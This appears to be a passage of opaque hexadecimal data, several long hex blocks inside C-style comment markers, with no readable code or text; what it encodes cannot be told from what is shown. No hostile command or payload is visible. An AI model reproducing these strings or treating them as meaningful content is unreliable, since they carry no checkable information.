fee52b5148e247e343d40074121b3fab831daafd5fc5404863884e85735a966ff26c75a15d49a7905737235012fb63ef6e0339324f1dad9b47abe7c593bdee176287aac6b8b08421521d08894160ee7294a9646e20c1fe9c57267070def7e2232343a28a01ab92632ce1231f932c1090bc6a1ba5bad42c341df4fe11fea1d8d44308ecf9af462a963b57165ed52b5cc7abf46b5449bb005f31d8e58966309fd3f446e1b11a7a75bafe2f63a127f345349941c6df9f14f72abaa162f6fa686d24daeb1de24c786190f21f7f0c71de576232520549d0c3dc70020dbebc3a28c1e96ca8c6c509d0ebdcb1a2c920c62068e35768695eaf8223ce2aafa2fde8faa725691332a8c868c163e80ee77229de2edf4914c04458fed75aca87d9cb633a580e798b80ec01213c0dcb07c26e940d41456bcff656d5ccf1e7a93b0bfe40ae92c870f94b9edfbbd1b2631e1353382f3cf88cef0f2e1dde9daf20533f47aed363cce57924edfdf166fc0fe05d15daa00ffa575ace61baa049a6e1917e1ebf70fd05fd4fffa66871cfe779d9610f02379fa8fbb94a7e1890253f30989860e80ae2264bde4b4781f8dc7f34cc4e806cb1dc005e74bbd752e0b892ddaa39ec8c7798cfc671f51ef523221165e7611be543efc8190cd59a01b8b9aeca306196bac98d2217ed940facfb34d72b223f45cab2a184d411343796954d4f23df5dfaaf51892d094f74d02d822919b978207c27fea870751fa412310dad15ae110672381aa69150b85cd7d696399b7ac508073babb323e6cb062cc6fd5d1572098506d90548ac12adbf93fee95da4d3b574a04a8b8602d654a16348d4ebe6b6bd960911d31a5099b8bb1180c5f9a44d29ae3b5f0ac8f2f07f8cc20e4785deb2a8ac1bb3e77648476bfb468e970ad8299a8b3355afb26f124bcc51f60f4a0b0c60b2659719fb3da1c6d2f9d1cecbf98091edd4a66fec45ba0425797b7c76a103f8701fec5cc12abd484dd773dd6aea20992037b1561acd4fb86e502386758bfbbe61eacf7938f2d492c6b855228823809103e425504aa91b3ae6edd088bdc41f811ebc49659ce27142cae2e2f796d35ae3d3a64aec169b2b0d04d2b2a2d6fa41292d065bb98677e0960cf37edb423572e2ca64f9054ba3a8eeb89d1649a8227632d5c401d5f353b11611b504e4213237a9ddf311a382b8b18065596d1fe853d6f30cab335f5785fb1a9b35dcabd2bc84eccb3f50466b873bb54c43ed8abfac857596cae659c870f3150018fa073c5084b61684bad6c81cbd4080704e16091288384465cfb1adb1ceffa18fd57dd0a361f13fddf315ebe7ced88b003a934ce2d5d84ec54087ac8ecafd97c44e4905b6d9bdb7054037b58b166f4b3a76f6a2d11c5494b3f57531dd624ab08d19525afba6c3fb7ff6fd70d9d5d28a34d0ce5d3f167955c2a0452622e2472ba49ad8659972d0fd69f2108f7d754433d26d76d1550b0078e277048bb0ca9844702afd61a31a8f8fd1b4072ce36389289f088bd2dae321f1337d206a0a4837a3cf7b26612897591ebe4b906e7f20bd8ec057655fef07c6f9b8dcee52f522cc9b2073e70889c204a955a79118de52fce4d719992d875586b9805a05b1e7f010552756f3c58ca499f1f727ae145d26df8d0383683b2c3628e9e017ee234c829cde69ff91cd5827373dbb84480ff83efb7df40ce529a45b9493bfba0b2ea3085acd55747e824d3d7e235deca1afb78b360ec4d4e8e575d5493dca1731363125d6455f50e91c42abb104e2de8d54cea9272599c7adc911889e11758de269186dddabc14baa395c1c5b0efffa328fe0b5cd4dd70072310dda2bfeb479379a2658c95842c3ed3f7ee24d8baffe1cbec84d9381e6010550aedd90352c1d6d16c6262f6ace394eb02ef6df8dcd644fe00fa3c60f23ae389ee06c92506d1bd5d9ed4c611fc9a9a314ad64fd114f7ffd552124d9e9484cdab38956c1734940955944ee8835e3f044d0e252817f324dadf46533fae93fcf11c0ebd103b*/
/*43499331b835aaeedc7234126e2b8cda2691307c5cf15636ca55d357a94b6b062f64f09e38e4d94819b737b167c001b81a6a2fe7bba87cc804910ca3bcaa9df3ebdd437f097b8fc49cc71492e72e835c0e8bd3b6297fde3043bc60319511b82a02a501db38bed71126ccb4cfd3845b8a250fb64358d1ca109352a1b637c6b1416a57558e6686c8ffebc408add1fb0ac435ab698fdc534f5c127cc096333c722f2456788eae6696216071d6fd8ec6d6a326feeaee1163ece46142d7a76a4e2ec633e8c6a49f4d525c63d8c58c03fb8bc230b72a0dce728c0f0c7f8a2585a6cc8c650e7f7a558938dcc3b527e6985dcfeea5ba9956376cd188ced676a48991a955a05929489a803f37cbbb2f243fc32473bec90c6bc5eafdaabb5db746964a6987520921fb08e519ac1bfc255e2b63f728552a6ec4af0c7e846f4100545c6704d64ab8e5045938e4e021110db0afb5d4656bcd647c9fe6d62c2393b1dbe0698af41fe7260425c7583b3476058888ff67cb281656dbf29d45efe5b4122b3a9e2f1a3a03874d763bad9906129edf3907130ed81b96652b3f8f4f8c548ef9354f94375a8394b31b36e8fd69557cdfd46d2a8c701463b9c94184be575c7a02b7e7633850a34be42e23298843264393e6d7e8622f7e5a1b9adde07f09f215718d34d34c47149e76cc80e680cd3b0c1cae954a70b7a41b7c28ae325bdabedadf1dc5d1e94bdfed48811e6653db6c43fd16929cdc04ce60fabcb226ee7e4829b3b7936a6e8c220e19dff1043c2ac5ce963bca74383854363143e9eaa19ad5e509bf908f99daa2b69e84a12432a8c4cbf0ae2fee972cc95e754048a9529de58ea5845c73bcb3df1b69a05274a0d05191921b39cdbfe627a6c4615d2a3766d26d477c56e1e840dac79c2410733d3c9805625140fbcb4586c738f1130c038371f61c089a7e04ff6451467b3ab6dd05dbde0c9fafc544dd1d98397366e8cf7490d808a9eb9f9900f732f6522b0dd5604abe644bdb38b523d4bd9c407cd50486328ff6db1161ba253137f4cdf13265de30183beea10596478aad5435a5b93e9819d1656e553d568f35c3992dab47bac07c4f0690d4249234bd692f17a2d5344704482c4b5fb5d9b4263bd3ab36df140b01cd423a961f3e64bf817c47d421793cd452867796815baf0f806569c4badbf6738275b2bf94352962f8c04dbbf99f22f4fd9e01d7f405247673b5d59825394e1a450ac25f368d8c9bfd82d3c9ef12e2c660f93ae57940307639ec7a5d011da5fcc3d3061cbdf02b6dd5f3f58a2ee26316c1a0568decf01a35247ba986eb3b197ec99ee6ac609efcb5eefbe62b96634c36852f7fbb7f1a6d6078aee3bb299f30fc8622e4911a5de26c299da71f3fa032dcb827fa1aefd4834389b673e88a15b11e4ed4aa11b9a2984b040eca881b38250c935526eab75e64d612270842ee91745d8f5ed205f7be1c9b5b71459b34af5028e0f927f84e2ed229e41d66b0e4bb31b69e9a8de03ff3698ac62e7db30b304c086069fb2b5f5e76affbd23f7628edc2059778944523b7e0b17c16d2f07c9eec7098dd3d8a245a554b2b53c49435e2f6b5d329bf0ca54070ef4177e0854f1bda0c077f739060e22beb4dbb8cb28fd3efe002d234adaac512fea059d6c20d6c1a06a408de794bb5806ada5ef5f4cee743a61dfc963e41ba8d50d1beccab0b09c875cbf72b168e57d9137e36199e4c2ffbe4bfed58d6694585e071aa471c209e003e33b546e6ea57b1fc5655d2ae95d0b47badd51d9832c279aa210e0ebca2d6a6397d5bd08cc27eb93bf26aacb005f2698fcae9714b46cb17fbaa249167b8a2997ec2ad15852f1a1e94dbfadb39a478ce2da1e5fb81fafdc1f2d065ee426c5413b9cd693beddc015439729091c98873283745ccebe495feac73d293c16d3dde72878dde6ce9c1f4f0ef851d87b98394efb02caf171a147fa6c4a73c2d00c5c5faba201e41e086fb8334b2f8183db41a1dae49d828de5d96aea75514d9228e2993b962945963ef3f8606d6966066110d015f8b3f841cfdb332d7ce97131a52efe94280e22f9eeeea5910bd771693a354a7aaaeaf9630f0ad2723b423696c965db037485f1e7c96cdb71ebb7f6340417c4aeb06c69d2164560af57da4130c506eb1ed59daf7d53cc3ef34dd01d6a5ac4ab53db93307b951ae8102974d7de286c0c4af6ecb2b8460fae2fda0896bc7c676e0150cbd4648d512d86cda80a1fbc09cdfd8eca942508f70fa3b6c08bd7716faf389345379f95b50d010d4cc87e200ae12396f1b0196f8f8bbe07cc8fb7f874c95f1493be656728325dfaec32b723db6960a157f1d9ec176f3df5d2348d6b8d718ec7a402577f0ffcb3ceda5cf0ee1dd188b1195022897265c710b021354ed108d6ea5fda0a3629c05caca207343ab4ad0302e912df6c3d26e2157d2dc6477d0a262d227fb469c5fcf9f96319f0f7abbf3e4c9ea3751f0def648d2a5768a48d7a2726c19202e25983bd61ae22153db86519c83b3138a78628d2a3172022f4597776785731e16a6112b2e90132e7c9b64ba1d855686f814547f6b2365aadc5ad5bf9d9bc32c766303b8007387b33e8c70ba51c83f802642bf66e5bd046f9c94bb80795e972459a505c2ea7508cb5c1820a0e24ad74fb56bf73bde7708b1c4cb00d1f42d5b77ce92cd0a2487015cffc8b27cb6c668845fb59e6ea611357365bf0b3e4f4f8fc5dea9e3d70b06d012c4663efcf84936d33ae2ad1a7d82669569c721cbf40e2472ba5e7aa75c34289e99c71de818a198bfa7f1438b715157dfc69c1eb2bda8cd8f7320f8*/
/*71fc8722e518bf75106a42325962f99cbd51ad93c3e6b44837be8baeb8a0726c0013fb8e414db9c1049608c1ac3ba3b97c704c809e2e83afc4570955c799969d6fe686a71662c270ccdcc16bfae7bfb53bf2ca31154902f26bd1089480132b2596d1a36702a276cf2eaa9a86a2847f28dce2cab5b8277650c0f1fc60323ea292470c0fc2b5182e698262db5805b43443232791b6547cbcbd52bc042e0deffe3cd6ecb7da477fa282a8bc8eb00110267765121f43105e1aed3b91ef382e71ae065fff6b5afacb25804b425c7199545a65b2366f0b8d5b6675a88d0e3b4e2d5b0aa77c2ed2e969897852bb0873b23edf13bd69565085d23103b4923c57e5867c8be10c6b9ffb7810dd2f7895872bf83600db60afb8c11442e8a0cc5985d6c8b2db020479f8aa9d41cde2f5fc7d316da4b6219f83b1fbc2b242eef24c3b00e1ca68f4c34ce4179bc424a2a193865d2da295b8dc68cfe87189355504ec1465e34352b735e4677f4485c2c9192154ed5d0c12071c622d02abe1002772100e26d66fc29aa16c7aab84f882d47098b0850b9e804e4fbe8887a53b1165899a8372b22e7623095486eefd9a5aa3fa52ec13003707f41fab26a2c0527c7118546595c5719fe749f3942b22a548517fe888160a2d36cb4dffce0a69732fe5d4df5d0b1819a9cbab277c09fce002ac5b44ef756e5b6ecea5766cd37d1281e2098005b3c1655245cbbd345a7cf013aec5b06a9c863861a7c76b58576541d51371517181fe91d640d64e15e959d1c7b309690fbc80bbc108a1bdb6528056644fc725ffc24e7c3b23259044d7a2e06bfa6b5c4c3cf2d3b0ec0b1b465851a95379aca7cf33ddec50370bab4987550b597f5c7aa18297371bb0607533bfc19c1e21772ecfd4f4ccfe56ef90c5294c42fa8ccb37469c2f042713b3226d6dfbeb32db6d63e11fa77853d1d290cef9e8b0e0386c77f0ea271ef9b60b8eacb0cc4f2fa2f7aabc6863d139ac368915fe6d7b51efca0b7eec2e0fc23da4b9af0a05f748503164b7b9a99b4e5be0429ba135733ba4594c151f57cf127bf77bd02b936362790eb30297f243627683e0b2540e3755ad8d02af4025c9a1fdc54a111c7cef13386c1dffa2903506e5f84cf5e11226c96427774b1598b1012459abc957bd85ddd586a80b553f27aa2028db11911ee56162ac817aee645395a18b293fcb59d8d94a86e752f922d4ff9694c643c2b70fc07d2ce83bdf1d207a29160f752b26d1945bcaf159404fc4365571cef1ced349ab40e742a9ba9a6f9e163b9515ec2b41d1682306d7492364332239fb066ad5f9747c8ddc11377e3de116aa0ab2a99499c78e10dcc4cb83d4b23c81239584f21e3990080b4df67f4462670de9e4d18d396133e2c68f28c1b9429acdf5809c897cd4c4593412ece34b3b4629256d59f99cfc01b45c5e091085f5d8a75976ca83d9963819c8f829514614e85cf1f9fdd07d66be56b2085ef9498d1abb633108204697bd5bbe4853fbf716f26049028fd7a59a38bf30fccaee5cae91848e79a7f4c048fd6b460eed40b8bd36399b3201b39e6279c5fd43dd7f02d9157ae1b29c29d378018e4a504eda365eb54baff2104a55ac1b13439e62aa475b51f44636692d8efc4e5446b8cb164a934e0727b55c6a1846cf0b83e9517cfef13722033057974e33a2664ef050f8fb20ada5ce01c0b2eec674121571b1102b22c9b4634545a1a8c1c442ce66e4ac7b951bc93756c2b5ec518eb373e2a58c314eb7bcff4edb61e5d94136a90773c3ea78bf592d1d57ff6036f68c0e1bd1d59a657add6c5542d32bf77a76549a1ae26cc67286819d2ee5a38ccbea9e0aa03085f43110ec8cb6bb7b37d1178226195bc24e683e59a23fc81b55d31e2665c6a2bd085e9245cd5107c2d21177fdc981c629574b6125670b921d643586f442c7b811fe247c268c3f1664124a9d84d6c2ef022de3471b26e4312e0cfa33ef91c027fd502aa82de46008baf01abbf9ef8e2cbb22129dddc63de22596589b634da1f7eef2cd167fce724fc681e0b464a2472b7f9b4b6f4f496814ea48d8f960b284fc70ad5c4afd87e25891cc3354537848bb03356c4149714612e02f4d5ec96e285bddc82e48edeb3fff2e5504d9e88e7fa045a8a66987f80471c6823657b3c6d9ef71263710f1d40d63bf7c03c246a6661740947892111abf0a56a1bd29b84f4707c5ca411ce7033a58aadabbc41cd744c2ea73bd14b59b27950db6ae6186d4fa7c3e607565b58a739f46732f0432f19587ae8e9ad01697c12c29466334f7ab08e4e2955b0b9c92c245a6a835378a571b8a19b002236be7c02f76ec0dc4dceb04d9ed4fe46b7e8cf382e57982258a1f1141dae932bd0ade2eec0a8535443758aa8cd8c0517dc1a141917549dfb7c90b57304953343da4b224ac4ea04456cb0fb62014570ef87e0a4776fead916f601bb8067bf6c9ba87c5f2b0f5c2b96f2f0cd99c08b1b9e4c39b3055e1fc1391c19868cf687282d0b94b8000f3c408c9f02c8ef4eda706c3a5d7544868db22c604c3e097ec3ba986a744609feacca07f6cf089583b190dca46359573a5a8c36691fcf0eeda3523685b6ba556556a7399ff7c5ff311cb246d40fcc7d157706fc524fa0a6d02131a98440dde3b6569de9c9360adbbf724e1ef8cd49cc4c281739e0ea4ac4f841ba634e3d4db2e478088f3a0a14812a5c3248ef3dc9d32471bdfc7639082b9102d476ebea9e7793aa98eecefec44875e5afb93fafc59c6c3de503a1151790367382c3c31f92df54119bcb1060c0944917cd59fc8c14eb1b8f8bbbba2b8e2e54884*/
/*bb3426f806fa458676a76ec64bb25c5f4128381181eaf029ba4ba27e86f4cb83e26890d046e774e34460cc5829ec57767c8a24c9eb3750a35a62cd36d520013a3e1ff4eff449350facb2d4d19db06267810748e99041ea2f5a6de7d2973a11f2af4396b5692650e51d306d5fa0d4b1ad1b2843ca4a9e680628d779b878a8329343cbcf9db37ccec64d5dfac46353d5f310075de3762effede530581d671b0523ba8a9868a4db9a356542b95b5671681e50a041882c1a1bc7e01ab58f3747e558ca03c29b73c6dc865a0c240c5408a3a00d5f7063ca5a7f119fd25c01fac7d631d8a82a76a41952ca664f10d5a111fb73457bd462922f9015159ccf9635d31747a09b145751d51441787c28bd869420ac95945466c734ea1f87cdd95fb7bf08ac4dc29f05d4591700112b9f2bdb97be11cde20c65a445a5a0f5cd45d180bdaad8e81fb11abbd593957d1c1783a480009d08edc8bc15cbfeaae58408dcff355ea4f7ce8750c2388b12d69ce613b2b0654168166164e7b14dec5ea38823fceccd0fb4d0a83646199fc75ff014af64f7c77b5ac63ac21ffe71f9dfe308b8c484de020cdcc71b0b6250c81195b6c96ab3f87776aec10761b053927f0e23a46102a94715d02ee65d8ebe0be4e1e60874726f5841452da5d059abb442dea6d81aa5b3a291da73b2ab8ca7f2f451fd18b46c253a447b9fa40aadbf05b23aa6b66f66710bdc3d3044ba5669e35c2939d28350836845098c2d784a61d65f16f1a69d3eb193425f6a791a9d649299d35c8e3512373aad45ab1e90aa498d263f4be68cfaee906cc7713a0afe863cc71c8fabf1d77509d8e25c271ba1a3588130356a3ca2b8feb94b243f000efdac627931d3e8b607216676bbf3dd0df1d91509cddbf78841fee0bd7470d02dfad5366d9216dba4b80792fc64e4896fbfb99e77dc2fe3bd4ca5166ec8bd3c71a8dbc86b5f46e3680372f4cd3afee3bf3aed6f630693b6d4d67ec2aba182e6739aac662ac9b05db5ab3b8a91fc19ed0e209540a669192331299b70075cc416760e155e6b258b59aa594dc93d1661170bb9d9cfbf96745f5de74d0cb4fa456e8b1b35ff16e9c01b0d9545078123ea166e634069b47d9e0ef2b42baf5d6eb9208aa3a2a2cea2ddfbf49ea70e90434cdc9289669f93329a4c0796a9b9385d0da7da2903d7c81bf044524503179a0b766d983c229592858326fb736d6957f56ec365012f48f64c20124eff4bde157865e4ad8588007738fd6f53e59706d71a8eaa1bd4a5f393f55301f007b11e5693e5a70c2044378d4d4167296e8bd4d82c663709ff05ff49cc5734fa8f8f93c2632b6273f7ff87511e3598ccba4c6918abe047480e201537d0132c4eb65f9a18d9ca7b616f93da015b2fc5633a13d7fad0014016e5763172ed6b0ab5fe887eb914325b49c22ffdbd8a4f2badba07a715a53dc545a626b005a88604ecddba69cb5e6481709065ae9ab14d70c4cfe6bce64234893b544048585e484e21d0a9da8cc71ccee7115a7ad92c0cb0f4a46b45f293b06e38353c71983d7763b6240d8374b4f08f22ff4c58084f89fec56734d8bb5c09c91e25217907e7cc1455fe8d8710fb9130ed165726a380454e85dd876b615bfc2dd0e29877c631ec50c2603f14a8e2c01bfee13cc0ce94eefeb5f1354b189ce6a5474544262b0af3f96f68fe847f627b11157183722bfad0a78d44f3ff7b1e6a98bbbddbe6302750c85c1cffaffbc34117221d66db7a6e47d45da02df5cecfd099e65d9548a6ed15b785527bfead03dfe1181a244228303dde844688eec4d8b42460c4268830788d04463aa70ba9ae88c7383f2a991eb450544224ec20a84e5bc310337a58e3149622523042f7ca8f5d44b265fe403bc7af81c16531b9343e32b75f0eb5c19bc53bc442dfdc49da6a6a9c95112ed6d9568153bbb9851cee57e633d1c8374399bcd034a7d7beb88e8a82c273f211ee0e811a876a7e42fb0b4e8b1567abdd30c33cc62ea21b85de37126bf867b581682deafd4b03d71eb4e087617a11bfbb0ef1ed1bf0c9b89fc56937d82db4bbb4bcf039c4f527ab568590af405522982c1621987c459847604533a48012611871a4229d0dd00f0fae2dc2b74c27ca0f2345e77e7b30457bd3727ac8299931108b86a47b93f2bd9a6b6c3d6581f66e3e890a658220c0186a04893845f47d64040f57604e2ef3868dd98d1a36e29563a01e7f8f05c15ffed024895b9558ec9c8b8a6b05fc793e1744fbece5b04d883ed245e1721eb6075b6c5e00b3d7582839a308ef62e8f1e8ce32786e625f5e6594be4fdfa7c44cafcac1eb4e5e008ac6bd48fbf50393aaaa54a526b836315d5498e9f793f3e768ac98d29784133ba924b3f9799053657c09832ae3b27e1e97c1f2205c9d9d1318331092e242cd0bab6bc73dd89866dc84e5fa7934ecfdd948bedb75dcd74b96f02c3362b02e5e9dc25d82cf5577da0aeedfe7cf38a9e6fbee2f1aa595ed83e4cfc493b1d11b894a0865d7ddcaa136474a783241e2dfeaae9a56ec7ef44491edc9c52febedd470f77dd6a91371f7bfd65ad1d460640c5a3c66cdd0f36f37926d1fb7cd662e4ada3471307c9b67887a0d3ae9f5682ddc4885c0f37176f322f05fbe3642d2f23bb6e324254b972e831c2933199df87a5e562c9cc69d0e1afc307c0f1f09522b718dc08906891427375eb61d1170cd69a996b127c5324a290a8f9a5680e0f96300166422559ff09b2bd4476e6a56458c2a40b7fc748e51c91f524d49b0a38eb3de3b9c51566f96f002b4535a9c653a117ab55987fd43fe3358c63506e7bc1696*/
/*13a6d22a087c131e8ebd97fa17d44e5ba04c35b10d458567a5b145090c1aaedea62520bc46bbdecf7e374c8a9f3191e06f4c8701c2d8419f4f164e04f21a9089096dc8630ba57f8ad237f52a3e100f2ceb591e2ae0ea354daa504b5a62e3b39b08151d18e896da4f4b8c69a355f279f1df88b0ebdaadae1294e99cc59162217a424796e1a9ac478121a7aa0e695b24440e1047c2acc275912a3c03c0dd94b8af845c51e1f8368c8fa4157da377c6ca4099cf47fd0902e12a46a7b581227be9919eddb65f37c767157d921687dd198ec9be104cffec76e13763d8f1258ee50a0f87a3f17b876d6b4f9e47589b3a03e707aaba0f56abd07d7116d17082442dd2964526fd2212dbc277ac5e8cd8c2a0094627a4eeddca4cbdb99dc5c45263c235ace9d64048682b0823701220d8ec349e27ad7fe92fc4813a192f3a0a799a34d0ff9d6c24aff35e0d77946f6aee72c727fa16bc2a9b3b3a2afc76551d1c4839a67cbc8b9b47f7855c377721323c5f48dfc7a6fc26217d871306db6b7569ca74d4e6ab20784a168c233fa8f0810315a4cd9eab30dde55d7e9b1a2d5df09a6098e6181ad8986f53f382794badba8c0a1b6815039c0d1978c4c0c116535679ad9614ae5a835ea8c26f09cef9547f209ad272dda5231ca983f952e6c59901251b5bdf5088fe834f35a85e7ad941f186fa593d24ee182393fb633745b36de20a24d1e4b298f2594772266553e27b5c54331d430213e3d15a71233541130fd76e62bb64f7443ed3024e9d2d43e4b22fa96550e137e5c074b062f830f3c271d946f6d4452799d673fcb6041078f4d7306b21a585bdd70834589dd7ab8b7f4ca34a5900f5ba4f9522d1af5b293b8672ba1eaf058d4804860d5e9e682891ebb2e5e769bd56d222a1ada48c4f2d85c9eda315ab19f0800347c346e45eab9a9eb128200a30988ed1eb7e2380d364216a351c64fa19ff17d905e4b05b2d45622488f98f2f8fa1eb8acdf3439895d0527e152b1249e65a078237972f0de3660a4e5b72e2543c2a165e3108c9abf3a5c5a66e2e193e2c9a13e7ee9ddc9b301bc7cdf4458be87f964622f2bb9eaa7c2057199b171ffdc22023e468efb924382d01515a26abdabe83446174884b04d9aa8b4545309f4e608689fb0ec4b4b392535e3c927e599f6e3da74e4b19bfe2ee2ec11ac6c522c575e703029af6053452c43a35946ac4ca085b6c2fcaa60460548f571675cc62005720c5931a8a4c1601295a79510f464bc005a61f248c87e8a0fc8c136b2b2a7bb75f8a2ce51c99cdbb61ab9cdb7450740dce8e267e867169812f45975e1f4c38f7d6a9b5ff533c346ef988527e1ea738b907ab7ae4fb2b4ea6d8d59cc0504d7070b1ce10adb5f0ba3c8d09d70a7c0f4a68f7de8b7e949712d107c89cfe3957a97e9b17a3e99213e4f15a82df0d5d08f4850b1d82f18b38e365fc4f7e3366682a74467c62227bd22a56117eb5e0de2b329107b0ae2e768deb7272ddbdec10ba38eb4091042e598d5bb860458016bb4bfa5b99486109d47f3a105b4ef0b42db12ee4882fef68e611748b281857950126fa8a720e3ae2b795ace65e1e81b3899479dc4f8f589011304a7e7e99228bdd1064150ca63517363a4f7579fab5517b790526cb0c0fab3fa5440f19b4c2ef5f45a12fa6d6bee2b477db6c72b63b88f0538a74ff1d9633508de71709ce937c456ef288d74fca950a3ab8e8fcda66399d4642c7c4ff3e3c6bcff5988f5c675131c9a0ddf02b56086bf4aed45f552f55b0644ae54c1e9d9f54dca7103e7792ae617f5c2e4ec18a5f34246f6ce1417e08c7ccb58563651545640491d25f6b5359ffeb54bf07f0fe3a5c7a250ebc8e64cfbcfaa686c5877fa2f7e0da36d97f0c99692a4db367c76d7a87b27c1935c8582fb85b74a8c095ff72286d8ebd89ed027d132acd8265022c2c08ec41d6bf1d85b3d953bda0e3ff70fb0e24b0318fc0cd82f921ea44e1bbe0fb84aa40d9e8d6b2d72aba4d4c7a9eaecb57a9dd3cb48d62160249dca6ef88eda9853071f59e142a52362a613ccfc8700359b38eecd12435f30f0c5a9cdf77b620df4cb59362d9376e6b587e4036bfff184bf097573dad69ff65fc30f6c223ed6de84a87461c38c126d2a41f5469f882b03f5831517e1eab50170755e07fd9d2b9f3059c41e2d601176a5526248922305b0c7604a5f8b316280c8a13a535fa6b11e945408d4fd94c40445f76cd92318b008170caaecb75de3e9f3627d0ec9b800903617efd87b2053c39353302cf0cfc919a3ad006b996fc755a6f1b31317a4bf134f3bcc557d9c184057dcf7b3ccc509a25f7e90be3cca7fc2cb32d7f22d0ca1df3bcd69bb00187102d98916508c9d0636bb3173c20c38ee250e01f438c5e5492a84e1ad06f420d0e675dddf135ee46f3db579914f465289b21b367fd08f481aad67aa037a099bbce6f66b0871f89e9ca88ef05228ed7fc267ac3d13fb88bd7bf7d1d786c5aa48eda4b8392da10b9aebf8783a659ee5d5ea4a25519e8507b648e12f79e2ddbd98bd05600387bca74beb3014af3164560d3f496fcd0bcd4930488ddab37853f5cbbb7d21c73b604f0bca8709331707bf7a2cb7e57edd6289d1ae49991a623ca8c32c58644950abc9dcba6e2be93a9fd66451d4775d8aca3321bb4b0544d47c513912b25c6e83cefb663f5a4675c43f68bbe0c09213ed6bb19880dc8b70d9eae988510f47a3ebfaf1c2d3773f9f317170e264f695ee010c20b9f90e138ba7364b1ba3702bcfd803b2083a787064555d869beebff39d3349fa58c45c9387e1efb1236186ae0c7f2bce3*/
/*a2b8ef9570fdccf2c7f812becb5a552060a9206c4ea722565e7162f53c23b406a027a5c6bc079114376e35f76d48ed2cc8d3928aa596132e94d74e0af0af4b9eac6d42f0a08ce75e8e807b77bffc7eadf6b87c62bc8c08bbaa252df303df2a95eafe6d6bc373cc63dbaff7cc7d497678c6baee41a2eb08296e2f04ef1988907a5f2d61883640428388cfb6d18be4a49b6a09e5d053971064f9b3a5262a1adc5a358c17e6edbc97bd0117cda18a69976af76e86c4bc39cb5f30361848a50fd4ea188f01de7593dc0718cc67166f6dc44d781a83f07a00968fcb68e0bbbad0aefe6ed69c378b49cf76812834d39198b5f1f543c69d9c06a6cd4cdb06d9b4375b3280ba66ce3aca9f8295a76ae2c096b75bacdf7487a00407b5b2fb1f53e44e5efa9dffd26fd317419ea88ae5ffbc98d6a4a7891de94c540b2f534933a33210cce5a2ab3c8dba1a1d26cef255f92115ca2c63d0a92993bbb752d23cf678c8ccc655a591f1cde297f5e089030a18c957df07c85dfff6df20b4d37e33bd2ae338630842ea94b5e1a1ef36e7a71eb50122cb949bd5a5d459e099ad42d638b6f9bf00c8be14786dfe73529f67beec3756698c816eddd6181b18887a93521d0047bf21cdd23b45ef32957c6e249e1f5c6d9b2cfc328f9691402c8366eca58380a21bcad3a62727f1442d5f33ed65907ac80e2c84cff3f4ca6870cce4cdecef567ff2ae8b555efbc472c8af36313f7beec6b02b676d3fed5d5ed4316963be5bfe4a70ffc3da552598c5a8d943a578ed4e96757c31cbe874b20877dfda9d9a43497625cde6e612299c2f435e569da01ad170488e8361d4d97f5ed40b9ed05dc0f7735cf6122b92df9e934d3a1493ba26f9cf2d0b18b4e6ce556526a32d4fc01d0c71fd3fdac4103bfdb997e38a89340e0cbf00a4c949794696c3ae1934b1548c82942349802e27833abaa3bc59566237cb0e6cabfcb4f730015fd8e7f21c2a49be059ca4bc82157f1340793235aa80dfdc24f762ac0d6c40de25f34fabf77e8322f74ec364917cd880536761872d5be3f06508dc9afc35171af735b95fb37b17fa12351a7bac5378b63ae0ef4b586c789617a6df54d8c7ce774a4a7418d5d28935392a5bb0a5db6923ab7482c0e2e44c74843fcbacde5c3f74c0f3381040dbc5d7f9e49bd1b34b31ec953124fa505ad0115c0d317e2ffc2a35b823131fb2547547ee3b79915628aa97e74e1f0a6a96caffa21d54b882bf7b770228bd8609ebafb3e6ab28b3b90d195851078bc6a7a144ea6b6f05902ba770113203a48a9c39a769c7520e905b14cb4e9c65e203968f68d384e38241777537ee951e4cb59919b2beb9ff83706737107ad8ef53479438aa11dbf9a398d70c84420ec4aeaee900ba2ef430481ad5e95abaf9c6eeb246f2a9283ca7f6f1eea67895c332447b0635e6ba23f29942f8b8bc1415333f5f3f5a6ce2af1be820f200cf87348f69cdea20e682632281b6f1d80361493e204194091a6bd7e54efadefdaa4bc2a69de183675b1fac5820c82157e4ec81b3c63d4a4903f90cc4fe691cc076221c3a644a2375f8e15f951358ef6b86c306fc1952b3d9761c55e99fe847cf5799cdc871e8f76c5fc7aed1eee9587e5700bdd36861bd2ccdd5916225303863632881ec38888e2b1f07fc736f0a14d7714b2417d4b5dc3486910980beab0e5d6a5b3f8874e2754bc93807ca720ef01484db7f8e2eff75a4e9b7b89c2bed971fb35140e1554e0f42e96166707aff9433834215dd24dcf5be39fe23364ac826f32465af04d7172e7b3f6fb6af4c29ca42e871cc17992936fbbc92ef37e7794fd4944330ec59c948e32fd2b368bb624f4359d05c5d1631870d06fdce828083c8553c70ef6364902e23b6bf91bbeddff609c1341fb0b385fead675e4fb86571c7419ed4f023c6299578ef0aaae29fb66bf0f37062b74eeb84bc8819c1dd57af6bcb107711f36b9ca0d63db92b52524bef6c6483560337994c21436edfd7042b16f2ca25dad5836adbbd657cba5403b7ad1a58e0886ecb998cb7dd97ac2b17797ecff8a3e371cd564908f461c26e14fd91aa153c89e82c618326efdc98d8f26338f30403d3b225e7baa2ff0d7adefd673669e86cbe09b738c1c72e1c0c5a83b0b69bade7a5bb2bd86cd909a7b808ee912ddb45a14dbbd38c1d20598d5be52a840eafa5efb1b8a460012aa02570ac3852ea19be280321a0f1decacb4113ce221569990ce12a95fb042aa0c71018eb9bbc4dc12216e2864b13065ef965c48d7cae4867a9a46671fad0f34e440957a442b33c77167e900d960ed273e5fbbf7f32bc15d0415f7c2d93c66d6154cec9550de10037e7de990222105cc08259ea11455226ceed9fbd33f63ff73584bce10c9a3d6fdd33941a158d87867b3fe91aedc2a6074c012dedd000a2e9af18bb8669fa5ecb8c66ff8544b9c6c6ba20db0fe56206ad357e2bbcdf62bb55d9cbf0891385730b45a630b38d5689e687d4c6b314f06af9ac2e59d9ced5f00b1b2e8377ad7d4c7c94142bd088685e53c32af76b4f0013d6d74ffcf916266bbbcb7e6fc6e342d7dee3cb094651dd8e0c3f8c1785cb01bac54c21e1e0c6318a3a2110c9533c1a602aad72e59d7ba03bcbc98c088cba3b83351f6f06aa09b52383e04c1781d14c8ad6c98d36fc288c749238145d1cd96fb06f6a79a68f800bc192ad432118d509b5f7f12704e8d6046491eaf951fa7b9b910ebecb0b6c8983a4a24cba9643dbba8093f9b0abd54939ac874efda844d23bd978ac07a47bb1c327c71ea599ea1e45218cf65a36b8f93a09b4d5c88b03c76713*/
